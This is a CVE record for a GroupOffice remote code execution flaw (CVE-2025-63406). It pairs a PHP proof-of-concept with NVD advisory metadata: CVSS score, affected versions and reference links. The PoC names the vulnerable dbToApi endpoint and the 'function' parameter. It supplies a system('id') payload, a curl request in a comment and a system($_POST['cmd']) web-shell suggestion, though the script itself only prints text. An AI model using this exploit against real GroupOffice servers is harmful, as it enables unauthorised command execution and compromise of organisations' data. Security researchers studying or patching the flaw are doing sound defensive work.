CVE-2025-63406

<?php // CVE-2025-63406 PoC - GroupOffice FunctionField.php RCE // Target: GroupOffice < v25.0.47 or < 6.8.136 // Note: Requires low-privilege user account $target = "http://target-groupoffice.com"; $username = "low_priv_user"; $password = "user_password"; // Step 1: Login to get session cookie $loginUrl = $target . "/index.php?r=auth/login"; $loginData = [ 'username' => $username, 'password' => $password ]; // Step 2: Send malicious payload to FunctionField.php dbToApi() // The eval() function will execute arbitrary PHP code $evilPayload = "system('id');"; // Example: execute system command $exploitUrl = $target . "/index.php?r=core/functionField/dbToApi"; $postData = [ 'function' => $evilPayload, 'params' => [] ]; // Step 3: Execute commands via injected PHP code // After successful exploitation, attacker can execute: // system($_POST['cmd']); to run arbitrary commands // Example curl command: // curl -X POST 'http://target/index.php?r=core/functionField/dbToApi' \ // -H 'Cookie: PHPSESSID=...' \ // -d 'function=system("id");' echo "CVE-2025-63406 PoC\n"; echo "Target: " . $target . "\n"; echo "Vulnerability: eval() injection in FunctionField.php\n"; echo "Impact: Remote Code Execution\n"; ?>

{"cve": {"id": "CVE-2025-63406", "sourceIdentifier": "[email protected]", "published": "2025-11-13T19:15:48.690", "lastModified": "2026-01-09T15:45:50.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Intermesh BV GroupOffice vulnerable before v.25.0.47 and 6.8.136 allows a remote attacker to execute arbitrary code via the dbToApi() and eval() in the FunctionField.php"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:group-office:group_office:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.136", "matchCriteriaId": "096375B7-A67C-46BB-B16F-09F24F7B8AA9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:group-office:group_office:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.0.1", "versionEndExcluding": "25.0.47", "matchCriteriaId": "B69C33E8-75A7-49DC-BBA7-94375F582CFD"}]}]}], "references": [{"url": "https://github.com/WinDyAlphA/CVE-2025-63406-PoC", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://noahheraud.com/posts/CVE-2025-63406/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}